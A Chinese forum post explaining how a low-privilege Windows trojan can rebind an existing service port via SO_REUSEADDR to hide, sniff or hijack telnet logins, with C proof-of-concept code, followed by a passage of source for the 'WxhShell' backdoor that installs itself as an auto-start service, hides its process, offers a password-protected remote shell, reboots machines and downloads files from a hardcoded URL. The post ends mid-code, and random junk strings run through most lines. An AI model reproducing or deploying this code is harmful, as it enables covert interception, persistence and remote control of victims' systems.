社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13155阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: %;z((3F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RV-hIdAU  
!C:rb   
  saddr.sin_family = AF_INET; :f'&z47  
'#O_}|ZN  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kE;O7sN   
ID1?PM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vMSW$Bx ;  
=He. fEy  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 pz_e=xr  
LT+3q%W.UC  
  这意味着什么?意味着可以进行如下的攻击: 'ul\Q `N3  
K8^kJSF\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ly4Qg\l  
0"xPX#Cvj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rFJ[dz  
%-;b u|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 yy2Ie  
# Oup^ o@  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =OTm2:j#yQ  
i}TwOy<4s  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 daZQz"PP  
)_jSG5k  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =Pe><k  
ED![^=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ARh6V&Hi-  
w#G2-?aj  
  #include @?B6aD|jE  
  #include Q^eJ4{Ya:  
  #include oB c@]T5>  
  #include    |bZM/U=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m.%`4L^`T  
  int main() Aq#/2t  
  { #y"=Cz=1u7  
  WORD wVersionRequested; ,*,sw:=2  
  DWORD ret; $*~Iu%Az  
  WSADATA wsaData; }GHxG9!z  
  BOOL val; US?Rr  
  SOCKADDR_IN saddr; ~el-*=<m  
  SOCKADDR_IN scaddr; _JGs}aQ  
  int err; j kn^Z":  
  SOCKET s; ~krS#\  
  SOCKET sc; ?~ULIO'  
  int caddsize; 9$d.P6|d>  
  HANDLE mt; }4c/YP"a'E  
  DWORD tid;   2BB<mv K4  
  wVersionRequested = MAKEWORD( 2, 2 ); Ef7:y|?  
  err = WSAStartup( wVersionRequested, &wsaData ); |qjZ38;6  
  if ( err != 0 ) { #I\Y= XCY  
  printf("error!WSAStartup failed!\n"); R U!?-#*  
  return -1; PE@+w#i7*  
  } 7h<> k*E)  
  saddr.sin_family = AF_INET; 32XS`Z  
   ^nDal':*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 OOy}]uYF`  
gp< =Gmd  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Jj"HpK>[  
  saddr.sin_port = htons(23); v ahoSc;sw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @YL}km&Fw  
  { wODvc9p}]  
  printf("error!socket failed!\n"); hCc0sRp  
  return -1; lxb8xY  
  } /NBTvTI  
  val = TRUE; XQ;I,\m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 W"(u^}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 66ohmP@04Z  
  { ^7XAw: ?  
  printf("error!setsockopt failed!\n"); }Zl"9A#K  
  return -1; ;[5r7 jHU  
  } k 'zat3#f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,-#GX{!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `<vxG4=62\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 we]>(|  
;El <%{(  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H7IW"UkBR  
  { {7#03k  
  ret=GetLastError(); WfVMdwz=  
  printf("error!bind failed!\n"); K; kM_%9u  
  return -1; C|e+0aW  
  } `1'5j "v  
  listen(s,2); 9&jPp4qG  
  while(1) LdWc X`K  
  { g6' !v  
  caddsize = sizeof(scaddr); IcoowZZ   
  //接受连接请求 70iH0j)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >!BFt$sd  
  if(sc!=INVALID_SOCKET) TgaYt\"i[  
  { YF[$Q=7.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pC^[[5A  
  if(mt==NULL) Cd~LsdKE5  
  { uW[3G  
  printf("Thread Creat Failed!\n"); dtW0\^ .L  
  break; #EwK"S~  
  } 9O;vUy)  
  } G=$}5; t  
  CloseHandle(mt); F' BdQk3o  
  } CIQwl 6H9  
  closesocket(s); sJ6a7A8)  
  WSACleanup(); {e9Y !oFg  
  return 0; ,YlQK;  
  }   ^5)_wUf  
  DWORD WINAPI ClientThread(LPVOID lpParam) B_~jA%0m'  
  { P4%>k6X  
  SOCKET ss = (SOCKET)lpParam; k^*$^;z  
  SOCKET sc; 1X:&* a"5  
  unsigned char buf[4096]; h3 @s2 fK  
  SOCKADDR_IN saddr; p{C9`wi)  
  long num; zD_H yGf  
  DWORD val; =~,l4g\  
  DWORD ret; w6U @tW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #O|lfl>}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8ui=2k(  
  saddr.sin_family = AF_INET; TG]}X\c+V|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hWxT!  
  saddr.sin_port = htons(23); 84Zgo=P}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5; f\0<-  
  { Tk+DPp^  
  printf("error!socket failed!\n"); $c9=mjwH  
  return -1; )>$^wT  
  } ,>S+-L8  
  val = 100; b;{h?xc6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) RZ6~c{  
  { @XBH.A^7r  
  ret = GetLastError(); ay[ZsQC  
  return -1; cHEz{'1m  
  } >Z"9rF2SW  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +S0u=u65  
  { ,>w}xWSYpG  
  ret = GetLastError(); pzSqbgfrQ  
  return -1; + (=I8s/  
  } %BICt @E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) h#O"Q+J9n  
  { )k~1,  
  printf("error!socket connect failed!\n"); <ge}9pU)o^  
  closesocket(sc); wT% "5:  
  closesocket(ss); A;t zRe  
  return -1; uQ1jwYK`7  
  } -$L(y@%X^  
  while(1) X 7&U3v  
  { @ RX`>r{_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 |D(&w+(  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {Y "8~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ||fvKyKW>  
  num = recv(ss,buf,4096,0); Q 3X  
  if(num>0) cuMc*i$w!  
  send(sc,buf,num,0); &CO| Y(+  
  else if(num==0) }{=8&gA0  
  break; `U#Po_hq  
  num = recv(sc,buf,4096,0); WVkG 2  
  if(num>0) oek #^:pF  
  send(ss,buf,num,0); x/_dW  
  else if(num==0) oVEAlBm^v  
  break; xXPUrv5zO  
  } "cQvd(kug  
  closesocket(ss); v,*Q]r0m  
  closesocket(sc); D+hB[*7Fs  
  return 0 ; 19w_tSg  
  } c.-cpFk^L&  
;%!tf{Si  
$2is3;h  
========================================================== \ %_)_"Q  
4JSZ0:O  
下边附上一个代码,,WXhSHELL Kt6C43]7  
)^(P@D.L  
========================================================== 6d};|#}  
DA=qeVBg  
#include "stdafx.h" >\&= [C  
NkoofhZ  
#include <stdio.h> W/a,.M  
#include <string.h> 7 y>(H<^>  
#include <windows.h> pMDH  
#include <winsock2.h> $>(9~Yh0  
#include <winsvc.h> G V=OKf#  
#include <urlmon.h> Md?acWE*L  
c+wuC,  
#pragma comment (lib, "Ws2_32.lib") t#{x?cF  
#pragma comment (lib, "urlmon.lib") *{Yi}d@h(  
R @OSqEnr  
#define MAX_USER   100 // 最大客户端连接数 PJ0Jjoh"Y  
#define BUF_SOCK   200 // sock buffer 6."PS4}:  
#define KEY_BUFF   255 // 输入 buffer i<Q& D\Pv  
OMi02tSm  
#define REBOOT     0   // 重启 p&QmIX]BZ  
#define SHUTDOWN   1   // 关机 W1;=J^<&1  
C|9[Al  
#define DEF_PORT   5000 // 监听端口 =!YP$hfY  
i<bxc  
#define REG_LEN     16   // 注册表键长度 5U3qr*/;m  
#define SVC_LEN     80   // NT服务名长度 J+0/ :00(  
)FV6,  
// 从dll定义API 1O23"o5=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s9G)Bd 8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oFb\T iLu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &b!vWX1N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L2<+#O#  
gUu&Vy\  
// wxhshell配置信息 =#b4c>  
struct WSCFG { QYH."7X >  
  int ws_port;         // 监听端口 =>e?l8`%  
  char ws_passstr[REG_LEN]; // 口令 'Z59<Ya&x  
  int ws_autoins;       // 安装标记, 1=yes 0=no -ywX5B  
  char ws_regname[REG_LEN]; // 注册表键名 :|zp8|  
  char ws_svcname[REG_LEN]; // 服务名 x<Iy<v7-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Oe/73| >U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xSx&79Ez<*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fJvr+4i4k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *&h6*zP?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nrI"k2oA@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +< GrRYbC  
}+*w.X}L  
}; ]&' jP  
ZMP?'0h=  
// default Wxhshell configuration 3Hy%SN(  
struct WSCFG wscfg={DEF_PORT, L,E-z_<p  
    "xuhuanlingzhe", 5 d>nIKW  
    1, "k/;`eAP  
    "Wxhshell", =!(S<];  
    "Wxhshell", W;q#ZD(;  
            "WxhShell Service", %N7gT*B:  
    "Wrsky Windows CmdShell Service", eSJAPU(D  
    "Please Input Your Password: ", -<]\l3E&J  
  1, YGfA qI y  
  "http://www.wrsky.com/wxhshell.exe", gHp'3SnS  
  "Wxhshell.exe" >c}:   
    }; q|R+x7x  
!p-'t]  
// 消息定义模块 2;3x,<Cg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; M\9at\$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l#tS.+B7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; "L ^TT2  
char *msg_ws_ext="\n\rExit."; 0W;q!H[G  
char *msg_ws_end="\n\rQuit."; *iPs4Es-  
char *msg_ws_boot="\n\rReboot..."; ,:c :6Y^  
char *msg_ws_poff="\n\rShutdown..."; 6.k^m&-A  
char *msg_ws_down="\n\rSave to "; -6AOK<kfI  
9cl{hdP{  
char *msg_ws_err="\n\rErr!"; Z@<q/2).|  
char *msg_ws_ok="\n\rOK!"; ~o}moE/ ;O  
0@o;|N"i  
char ExeFile[MAX_PATH]; ])+Sc"g4k  
int nUser = 0; H<v c\r  
HANDLE handles[MAX_USER]; @=02  
int OsIsNt; yBr$ 0$  
Q~x*bMb.  
SERVICE_STATUS       serviceStatus; j@%K*Gb`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A"Tc^Ij  
(r.$%[,.<  
// 函数声明 t^`<*H  
int Install(void); luJ{Iq  
int Uninstall(void); We[<BJ o4  
int DownloadFile(char *sURL, SOCKET wsh); 9vB9k@9  
int Boot(int flag); sx<} tbG  
void HideProc(void); H4P\hOK7r  
int GetOsVer(void); z:d Xc  
int Wxhshell(SOCKET wsl); }K#iCby4  
void TalkWithClient(void *cs); Vww@eK%5Q  
int CmdShell(SOCKET sock); e@='Q H  
int StartFromService(void); Z}]:x `fXd  
int StartWxhshell(LPSTR lpCmdLine); pA*D/P-  
zfk'>_'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =4YbVA+(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i)A`Vpn  
_Cu[s?,kS  
// 数据结构和表定义 OI)&vQ5k  
SERVICE_TABLE_ENTRY DispatchTable[] = 3N(8| wh  
{ 0SAG6k~x  
{wscfg.ws_svcname, NTServiceMain}, z4 4  
{NULL, NULL} oA(. vr  
}; ]s1TJw [B  
NTXws4'D  
// 自我安装 {Bav$kw;?e  
int Install(void) m~Lf^gbG?  
{ VZU Zngw  
  char svExeFile[MAX_PATH]; ,\.YJD>z  
  HKEY key; QT7w::ht  
  strcpy(svExeFile,ExeFile); sV9{4T~#|  
1C^HCIH7J  
// 如果是win9x系统,修改注册表设为自启动 jEC'l]l  
if(!OsIsNt) { TKj/6Jz|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u i s:\Uc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T=hm#]   
  RegCloseKey(key); 'US:Mr3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aRFi0h \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ucIVVT(u  
  RegCloseKey(key); T{5M1r  
  return 0; 31 KDeFg  
    } eukX#0/^  
  } z6GL,wo#  
}  ` 4s#5g  
else { >=Rd3dgDG  
bAA'=z<  
// 如果是NT以上系统,安装为系统服务 d +*T@k]>M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 17MN8SfQ  
if (schSCManager!=0) m)tI  
{ `R4W4h'I  
  SC_HANDLE schService = CreateService z/ c'Z#w%  
  ( Y{x[N}h  
  schSCManager, *~\;&G29Y  
  wscfg.ws_svcname, @LwVmR |{  
  wscfg.ws_svcdisp, b;&Yw-\nZ;  
  SERVICE_ALL_ACCESS, `Gy>tD.#V-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XnNOj>!  
  SERVICE_AUTO_START, Z_eqM4{  
  SERVICE_ERROR_NORMAL, cOj +}Hz58  
  svExeFile, V^/h;/! ^  
  NULL, 0C4*F  
  NULL, IdN%f]=/  
  NULL, ":(Cpf0  
  NULL, T1g:gfw@  
  NULL q\{;_?a  
  ); !VJT"Ds_  
  if (schService!=0) g/n"N>L  
  { )[^:]}%r  
  CloseServiceHandle(schService); bKZAJLnd  
  CloseServiceHandle(schSCManager); (+]Ig> t  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3RTB~K8:{  
  strcat(svExeFile,wscfg.ws_svcname); #=)?s 8T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { UC?2mdLt^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @n ~ND).  
  RegCloseKey(key); RN cI]oJ  
  return 0; <E(-QJ  
    } o$qFa9|Ec?  
  } Yp?a=R  
  CloseServiceHandle(schSCManager); qqO10~Xc  
} 8&`T<ECq>  
} x r+E  
A7I8Z6&  
return 1; 7@e[:>e  
} U3VsMV*Y  
N?`GZ+5  
// 自我卸载 R[ +]d|L  
int Uninstall(void) MOH,'@&6^  
{ q(${jz4w  
  HKEY key; K7d1(.  
HeAc(_=C  
if(!OsIsNt) { `siy!R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $)i"[  
  RegDeleteValue(key,wscfg.ws_regname); Si%Eimiq  
  RegCloseKey(key); Fr E/K_L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i >/@]2  
  RegDeleteValue(key,wscfg.ws_regname); fu7[8R"{  
  RegCloseKey(key); ;#Crh}~  
  return 0; $7k04e@ ]  
  } QtO[g  
} M\$<g  
} }!J/ 9WKgU  
else { |~T+f&   
w-q=.RSTn=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aV92.Z_Ku  
if (schSCManager!=0) 'E4(!H,k  
{ \ [hrG?A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #f jX|b  
  if (schService!=0) 3`C3+  
  { ~ jrU#<'G9  
  if(DeleteService(schService)!=0) { sjVl/t`l  
  CloseServiceHandle(schService); 07HX5 Hd  
  CloseServiceHandle(schSCManager); =,} !Ns{k  
  return 0; 2[bR6 T89  
  } hF{mm(qyv  
  CloseServiceHandle(schService); EZNB`gO  
  } 8)Bn?6.  
  CloseServiceHandle(schSCManager); >=RHE@  
} fSb@7L  
} u{y5'cJ{  
{3 yws 4  
return 1; RWEgUDX^/  
} lf7H8k,-  
rO2PbF3  
// 从指定url下载文件 fe]T9EDA  
int DownloadFile(char *sURL, SOCKET wsh) ^dp[ Z,[1z  
{ Ni;{\"Gt  
  HRESULT hr; nq w*oLFQ  
char seps[]= "/"; Zq6ebj  
char *token; @rDv (W  
char *file; 4h2bk\z-  
char myURL[MAX_PATH]; sjgxx7  
char myFILE[MAX_PATH]; Q0oDl8~  
ZB h@%A  
strcpy(myURL,sURL); 9#A{C!75(y  
  token=strtok(myURL,seps); tZ6v@W  
  while(token!=NULL) (5\d[||9g  
  { < oG\)!O  
    file=token; 3jQ$72_  
  token=strtok(NULL,seps); @C6DOB  
  } &qj&WfrB,  
E!]rh,mYK  
GetCurrentDirectory(MAX_PATH,myFILE); :j!_XMyT:  
strcat(myFILE, "\\"); wz2)seZY  
strcat(myFILE, file); Lzb [%?  
  send(wsh,myFILE,strlen(myFILE),0); pl? J<48  
send(wsh,"...",3,0); ZJ'H y5?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [ZpG+VAJ8  
  if(hr==S_OK) a~+WL  
return 0; z K]%qv]  
else +vY`?k`  
return 1; jYssz4)tp  
F_ lj>;}a5  
} U8@*I>vA  
hB1iSm  
// 系统电源模块 5nlyb,"^g  
int Boot(int flag) "Kf~`0P  
{ AZm)$@e)  
  HANDLE hToken; oA^ ]x>  
  TOKEN_PRIVILEGES tkp; JL+[1=uE1L  
)eVDp,.^  
  if(OsIsNt) { "g&l~N1$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S| ?--vai_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uaMm iR  
    tkp.PrivilegeCount = 1; i_9/!D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [aVJYr2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K>E!W!-PJ  
if(flag==REBOOT) { J};,%q_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;R>42 qYF  
  return 0; |zegnq~  
} # SOj4W  
else { bSKV|z/x  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) M;@03 x W  
  return 0; yH0ZSv  
} 'g, x}6  
  } ]$%4;o4O  
  else {  E8V\J  
if(flag==REBOOT) { FKTP0e7=9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [UrS%]OSR  
  return 0; ~ .=HN}E  
} rY+1s^F  
else { |0Ug~jKU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7o%|R2mL}  
  return 0; _z6u^#Si  
} JN|#   
} C)dYAq3,8  
WUQh[A41  
return 1; Fd=`9N9  
} @g` ,'r  
JaN_[ou  
// win9x进程隐藏模块 `9NnL.w!  
void HideProc(void) [_B&7#3>7  
{ ]fmfX  
Nv#, s_hG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o*S $j Cf?  
  if ( hKernel != NULL ) X Ow^"=Oa[  
  { MPw7!G(qj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zb*4Nsda:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q>Q}/{8!  
    FreeLibrary(hKernel); "uNxKLDB  
  } i2c<q0u  
8 ?R_O}U  
return; \r&@3a.>  
} nFn`>kQ  
g#&##f  
// 获取操作系统版本 Z1}zf( JU  
int GetOsVer(void) e;Z`&  
{ =C}<0<"iF  
  OSVERSIONINFO winfo; L*Cf&c`8r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qf{B  
  GetVersionEx(&winfo); Z-V%lRQ=b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LR.+C xQ  
  return 1; u 9Tl Xn  
  else *g}&&$b0  
  return 0; XsMphZnK  
} Lu5.$b  
1F8EL)9  
// 客户端句柄模块 -w0>4JDs  
int Wxhshell(SOCKET wsl) y`dzo`f  
{ (NlEb'~+  
  SOCKET wsh; [Y~s  
  struct sockaddr_in client; a-hGpYJJG  
  DWORD myID; H(m+rk  
*a.*Ha  
  while(nUser<MAX_USER) kV<)>Gs  
{ )SLs  [  
  int nSize=sizeof(client); 2geC3v% 0o  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qa?y lR"kA  
  if(wsh==INVALID_SOCKET) return 1; gWPa8q<b  
2J;CiEB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,6L>f.V^(U  
if(handles[nUser]==0) |g !# \  
  closesocket(wsh); ~(S4/d5  
else "|rqt.f2[  
  nUser++; ^a5>`W  
  } M*uG`Eo&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hglt D8,  
|0mI3r  
  return 0; _J!mhU A  
} (iP,YKG1?  
_ RYZyw   
// 关闭 socket K@lV P!z  
void CloseIt(SOCKET wsh) JR)rp3o-  
{ \]El%j4  
closesocket(wsh); iHB)wC`u  
nUser--; DVH><3FF  
ExitThread(0); +.cv,1Vx  
} |SleSgS<#  
i|GC 'XD@  
// 客户端请求句柄 ARo5 Ss{  
void TalkWithClient(void *cs) s9>!^MzBK  
{ S#dS5OX  
}IL@j A  
  SOCKET wsh=(SOCKET)cs; Awh)@iTL  
  char pwd[SVC_LEN]; m ws.)  
  char cmd[KEY_BUFF]; A@r,A?(  
char chr[1]; $Plk4 o*g  
int i,j; Tkf !Y?  
yL-L2  
  while (nUser < MAX_USER) { X;tk\Ixd  
E .5xzY  
if(wscfg.ws_passstr) { }XU- J An  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UJ:B:hh''  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  j C?  
  //ZeroMemory(pwd,KEY_BUFF); (0S7  
      i=0; rJ>8|K[kt  
  while(i<SVC_LEN) { f6)H!SI  
^Du_e(TiyK  
  // 设置超时 jEIL(0_H  
  fd_set FdRead; yW 3h_08  
  struct timeval TimeOut; 0b 'R5I.M  
  FD_ZERO(&FdRead); a6_`V;  
  FD_SET(wsh,&FdRead); ' iK0Wr  
  TimeOut.tv_sec=8; uip]K{/A!e  
  TimeOut.tv_usec=0; rg\w!L(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #4>F%_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,d#4Ib  
cALs;)z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %s>E@[s  
  pwd=chr[0]; /Z_QCj  
  if(chr[0]==0xd || chr[0]==0xa) { 75f.^4/%  
  pwd=0; ?a@l.ZM*  
  break; *VB*/^6A  
  } ix;8S=eP~{  
  i++; ^(R gSMuT`  
    } zAewE@N#_  
}: e9\r)  
  // 如果是非法用户,关闭 socket ;f Gi5=-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4tjRju?  
} ojri~erJE?  
lRb)Tz6SE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |a+8-@-Tj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,U}8(D~:  
75y#^pD?c  
while(1) { b%(0AL  
<>TBM^  
  ZeroMemory(cmd,KEY_BUFF); yyc&'J  
3B+Rx;>h  
      // 自动支持客户端 telnet标准   iKwVYL  
  j=0; .PgkHb=l@  
  while(j<KEY_BUFF) { ^&Bye?`5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _17"T0  
  cmd[j]=chr[0]; =RA6p  
  if(chr[0]==0xa || chr[0]==0xd) { aF:LL>H  
  cmd[j]=0; XJ"9D#"a>  
  break; #~b9H05D  
  } `m5iZxhw  
  j++; V.J%4&^X  
    } ZfU_4Pl->  
@u^Ib33  
  // 下载文件 43Q&<r$[T  
  if(strstr(cmd,"http://")) { Hg4Ut/0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <Vim\  
  if(DownloadFile(cmd,wsh)) N@}U;x}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >:=TS"}yS}  
  else /.r($S g^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B}W^s;h  
  } 1K>4 i. X  
  else { Rjf |  
\ iFE,z  
    switch(cmd[0]) { :.<&Y=^  
  (_* a4xGF  
  // 帮助 s= :n<`Z2  
  case '?': { !s$fqn 6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zv41Yv!x}  
    break; T(6S~; ,Z  
  } I ; _.tG  
  // 安装 4[?Q*f!  
  case 'i': { ep5aBrN]"  
    if(Install()) 4{|lzo'&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J [1GP_  
    else x;+,lP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (H$eXW7  
    break; \ys3&<;b  
    } m+gVGK  
  // 卸载 aUnm9u r  
  case 'r': { &IcDUr]L  
    if(Uninstall()) SNQ+ XtoO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  m ]\L1&  
    else  6?6 u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z"<PveVo  
    break; |^ qW   
    } 8]O|$8'"  
  // 显示 wxhshell 所在路径 <^=k~7m  
  case 'p': { PSRGlxdO  
    char svExeFile[MAX_PATH]; JOMZ&c^  
    strcpy(svExeFile,"\n\r"); zVIzrz0  
      strcat(svExeFile,ExeFile); ! `SR$dnE  
        send(wsh,svExeFile,strlen(svExeFile),0); B7#;tCf  
    break; | c;S'36  
    } ,GK>|gNsb  
  // 重启 m>iuy:ti  
  case 'b': { ~Sh}\&3p  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '@$?A>.cj  
    if(Boot(REBOOT)) \R~Lf+q  
